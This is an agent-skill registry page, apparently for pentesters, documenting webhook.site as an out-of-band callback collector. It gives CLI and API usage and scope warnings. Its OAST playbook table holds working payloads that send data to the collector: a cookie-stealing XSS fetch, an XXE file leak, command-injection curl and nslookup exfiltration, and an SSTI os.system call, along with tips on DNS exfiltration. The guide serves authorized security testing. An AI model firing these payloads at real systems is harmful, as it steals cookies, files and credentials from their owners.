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aeondave/webhook-siteRede, wireless e telecom

webhook-site

⁨Auth/lab ref: webhook.site: hosted out-of-band application security testing (OAST) collector - instantly generates a unique HTTPS URL plus DNSHook subdomain that records every HTTP request and DNS query, with a Web UI.⁩

v2026.11.13-21cd5682 instalações+2 em 7 dias39 EstrelasWebsincronizado há 10 horas

Instalar

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$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/webhook-site

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Fontegithub.com/AeonDave/malskill/tree/main/offensive-tools/network/webhook-site@21cd568

Este item ainda não foi escrito no seu idioma, então aparece em English.

Hosted OAST collector + request inspector. Visiting webhook.site mints a unique token of the form https://webhook.site/<uuid>; every HTTP request and DNS query (via the matching *.dnshook.site subdomain) to that token is recorded with full headers, body, source IP, geolocation, and timing, and surfaced in a Web UI, JSON API, and (with whcli) a CLI stream that can forward or execute on each event.

Use it as the public callback endpoint for any blind vulnerability class, OAuth/SAML round-trip inspection, webhook integration debugging, or a temporary HTTPS relay into a local service during authorized engagements.

Scope Guard

  • Confirm authorization in writing before pointing any target application, OAuth flow, or callback at webhook.site. Captured requests can contain tokens, cookies, PII, and credentials.
  • Treat the token URL like a secret — anyone who knows it can read every request. Use the "Protect with password" / "Login required" features on paid plans for sensitive captures.
  • For long-running or multi-operator engagements, use a paid token (persistent, higher limits) or self-host the open-source webhook.site server on owned infrastructure.
  • Free anonymous tokens expire after 7 days of inactivity and cap at 100 requests / 10 MB body — fine for OAST PoCs, not for sustained collection.
  • Webhook.site is third-party SaaS: the operator (Simon Fredsted / webhook.site GmbH) sees every payload. Do not route customer production traffic, regulated data, or live credentials through it without a contractual agreement.
  • For DNS exfil that must not transit a third party, prefer self-hosted interactsh or an authoritative server you control.

When to Pick webhook.site

Need Pick
HTTPS endpoint + DNS subdomain, full request UI, < 30 s setup webhook.site
Multi-protocol OAST (HTTP, DNS, SMTP, LDAP), self-hosted interactsh (oast.pro / self-host)
XSS-only blind callback with screenshot + DOM XSS Hunter (xsshunter.com / self-host)
Raw TCP listener for custom protocols bore, ncat -lkvnp, custom Python
HTTPS tunnel to a real local web app with debugger pinggy, ngrok, cloudflared
Persistent C2 channel Dedicated C2 framework — webhook.site is not stealthy and not designed for it

Concepts

  • Token: a UUID that owns a callback URL https://webhook.site/<uuid>. Created automatically when you open the homepage in a browser, or programmatically via POST /token.
  • DNSHook: every token has a matching <id>.dnshook.site subdomain (<id> derived from the UUID). Any DNS query to <sub>.<id>.dnshook.site is captured.
  • Email: every token also has <id>@email.webhook.site for inbound email capture.
  • Custom Actions (paid): per-token rules that modify the response, forward the request elsewhere, transform the body, or conditionally branch. Effectively a tiny serverless dataflow over the captured traffic.
  • API key: a per-account secret sent as the Api-Key HTTP header. Lets whcli and scripts create tokens, list/read requests, manage custom actions, and forward without anonymous rate limits.
  • Whitelist IPs: outbound traffic from webhook.site (and Custom Action forwards) originates from 178.63.67.106, 178.63.67.153, 2a01:4f8:121:114d::/64, 2a01:4f8:121:11a5::/64. Open these on your target firewall when forwarding from webhook.site into an internal collector.

Quick Starts (Web UI)

  1. Open https://webhook.site → page is now bound to a new token URL shown at the top.
  2. Trigger the callback (paste the URL into the target form, payload, OAuth redirect_uri, SSRF probe, etc.).
  3. Inspect each captured request in the left pane: method, headers, raw + parsed body, source IP, country, user agent, timing.
  4. Use Edit to change the default 200 response (status code, headers, body, content-type, delay) when the target expects something specific.
  5. Use Copy for the unique URL, <id>.dnshook.site host, or <id>@email.webhook.site address.
  6. Optional: "Login required" on the token page to gate UI access (paid).

Quick Starts (CLI — whcli)

bash
# Install via Node (preferred for `forward`/`exec`)
npm install -g whcli

# Or via Docker
docker run --rm -it ghcr.io/webhooksite/whcli:latest --help

# Stream a token to the terminal
whcli forward --token=<UUID>

# Forward every captured request to a local web service
whcli forward --token=<UUID> --target=http://127.0.0.1:8080

# Forward only requests whose query string matches ?op=cb
whcli forward --token=<UUID> --target=http://127.0.0.1:8080 --query='op=cb'

# Run a local command per request (the raw request body is piped to stdin)
whcli exec --token=<UUID> --command='/usr/local/bin/handle.sh'

# Auth (paid plans / private tokens)
export WH_API_KEY='...'
whcli forward --token=<UUID> --target=http://127.0.0.1:8080

whcli keeps an HTTP long-poll / websocket open against https://webhook.site and replays every captured event locally — turning a public token into a real local listener without exposing your machine.

Quick Starts (JSON API)

Base URL: https://webhook.site. Authenticate scripted access with Api-Key: <YOUR_KEY>.

bash
# Create a new token (returns JSON with uuid, alias, default-content, etc.)
curl -s -H 'Api-Key: '"$WH_API_KEY" -H 'Content-Type: application/json' \
  -d '{"default_status":200,"default_content":"ok","default_content_type":"text/plain"}' \
  https://webhook.site/token | jq .uuid

# List captured requests (paginated, newest first)
curl -s -H 'Api-Key: '"$WH_API_KEY" \
  "https://webhook.site/token/<UUID>/requests?sorting=newest&per_page=50" | jq '.data[] | {ip,method,url,query}'

# Read one request's raw body
curl -s -H 'Api-Key: '"$WH_API_KEY" \
  "https://webhook.site/token/<UUID>/request/<REQ_UUID>/raw"

# Delete all requests for a token
curl -s -X DELETE -H 'Api-Key: '"$WH_API_KEY" \
  "https://webhook.site/token/<UUID>/request"

Body size limit: 10 MB per request (free); contact provider for paid tier limits.

OAST Playbook

The point of webhook.site is to confirm "did the target side-effect actually fire". Pick the channel that the vulnerability class can reach.

Vulnerability Channel Payload pattern
Blind SSRF HTTP http://<UUID>.webhook.site/ssrf-probe?id=<MARKER> or https://webhook.site/<UUID>?via=ssrf
Blind XXE (HTTP egress) HTTP via external DTD DTD on attacker server referencing http://webhook.site/<UUID>/?leak=&file;
Blind XXE (DNS only) DNSHook DTD that triggers DNS resolution of <MARKER>.<id>.dnshook.site
Blind RCE / cmd injection HTTP + DNS curl https://webhook.site/<UUID>/$(whoami) (HTTP) or nslookup $(id -u).<id>.dnshook.site (DNS — works through restrictive egress)
Blind XSS HTTP fetch beacon <script>fetch('https://webhook.site/<UUID>/x?u='+document.cookie)</script> (use XSS Hunter for richer DOM capture)
OAuth / SAML redirect handling HTTP Set redirect_uri / RelayState / ACS URL to the token URL, inspect query/body for tokens.
SMTP / mail callback Email alias Trigger app to send mail to <id>@email.webhook.site.
Template / SSTI sanity check HTTP {{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').system('curl -s https://webhook.site/<UUID>?ok') }} (lab-style payload only).
Webhook integration debugging HTTP Point the third-party app's outbound webhook at the token URL and inspect headers/signature.

Tips:

  • Encode a unique marker per probe (?id=<host>-<param>-<timestamp>) so multi-target campaigns can attribute callbacks.
  • DNS exfil: chunk data with base32 (DNS-safe) into labels, max 63 chars each, max 253 total: <chunk>.<chunk>.<id>.dnshook.site.
  • Use Custom Actions to auto-forward only callbacks matching a query/header pattern to your internal collector, ignoring scanner noise.

Custom Actions (Paid)

Per-token rules evaluated on every inbound request. Useful primitives:

  • Set response — return a specific status / headers / body to coerce the target into a follow-up request (e.g. 302 redirect chain for OAuth abuse, JSON shape for webhook contract tests).
  • Forward — relay the request to an internal URL (honor the webhook.site outbound IP whitelist). Effectively turns the token into a public-facing reverse proxy.
  • Modify — rewrite body / headers / URL via templating before forwarding.
  • Conditional — branch on request properties (method, header, query, JSON path) so the same token serves multiple workflows.
  • Stop — short-circuit further action evaluation.

Combine actions to build small dataflow pipelines (e.g. "if X-Phish-Token header present, forward to internal collector; else return 200"). For complex transforms prefer whcli forward --target to a local service you fully control.

Hardening Checklist

  • Use a per-engagement token; rotate after the engagement to invalidate any payloads that escaped scope.
  • Set a non-trivial default_content and content-type — some targets behave differently when the callback returns HTML vs JSON vs empty.
  • On paid plans, enable "Login required" or password-protect the token before sending the URL to anyone outside the operator team.
  • When forwarding to internal services (Custom Actions or whcli forward), require an Api-Key-style shared header so only webhook.site traffic is honored.
  • Open OS firewall rules only for the webhook.site source IPs (178.63.67.106, 178.63.67.153, 2a01:4f8:121:114d::/64, 2a01:4f8:121:11a5::/64) on the internal collector side.
  • For high-stakes captures (production credentials, regulated data), self-host the open-source webhook.site server or use interactsh on owned infrastructure.
  • Treat captured bodies as evidence: export via API into the engagement ticket, then purge the token (DELETE /token/<UUID>/request).

Troubleshooting

Symptom Likely cause Fix
Callback never appears in UI Token URL typo, target egress blocked, payload mis-encoded. Curl the URL from your own box; check *.dnshook.site for DNS-only egress.
Request body truncated / empty 10 MB cap exceeded, or chunked encoding the proxy stripped. Drop large fields, or use whcli forward to a local sink without the cap.
Token returns 429 / "rate limit" Free anonymous token hit the 100-request cap. Upgrade to a paid token, or rotate tokens per probe.
whcli forward reconnects every few seconds Listen timeout or websocket drop; expected behavior. Set WH_LISTEN_TIMEOUT higher; the CLI auto-resumes.
Custom Action forward never reaches internal host Firewall blocks webhook.site outbound IPs. Allow the published IPv4/IPv6 ranges, or move to whcli forward originating from your own host.
DNSHook captures nothing Target resolver caches NXDOMAIN, or only egress is HTTP. Use a unique sub-label per probe to bust caches; for HTTP-only egress switch the probe to a https://webhook.site/<UUID>/... URL.
Captured headers missing original client IP A reverse proxy in front of the target rewrote X-Forwarded-For. Look at client_ip field in the API; cross-reference with target access logs.

Resources

File When to load
references/usage-matrix.md Full whcli flag matrix, JSON API endpoint reference, OAST payload bank per vulnerability class, Custom Action recipes, side-by-side comparison vs interactsh / XSS Hunter / RequestBin / bore / pinggy.

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Achados da varredura

Revisado em 13 de nov. de 2026

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  3. AltaLink · Link para um serviço conhecido de despejo de dadosSKILL.md:39
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  11. AltaLink · Link para um serviço conhecido de despejo de dadosSKILL.md:114
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  15. AltaLink · Link para um serviço conhecido de despejo de dadosSKILL.md:121
  16. AltaLink · Link para um serviço conhecido de despejo de dadosSKILL.md:161
  17. AltaLink · Link para um serviço conhecido de despejo de dadosreferences/usage-matrix.md:20
  18. AltaLink · Link para um serviço conhecido de despejo de dadosreferences/usage-matrix.md:69
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  28. MédiaLink · Link para um IP diretoSKILL.md:68
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VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v2026.11.13-21cd56813 de nov. de 202621cd5689287c346Assinada–

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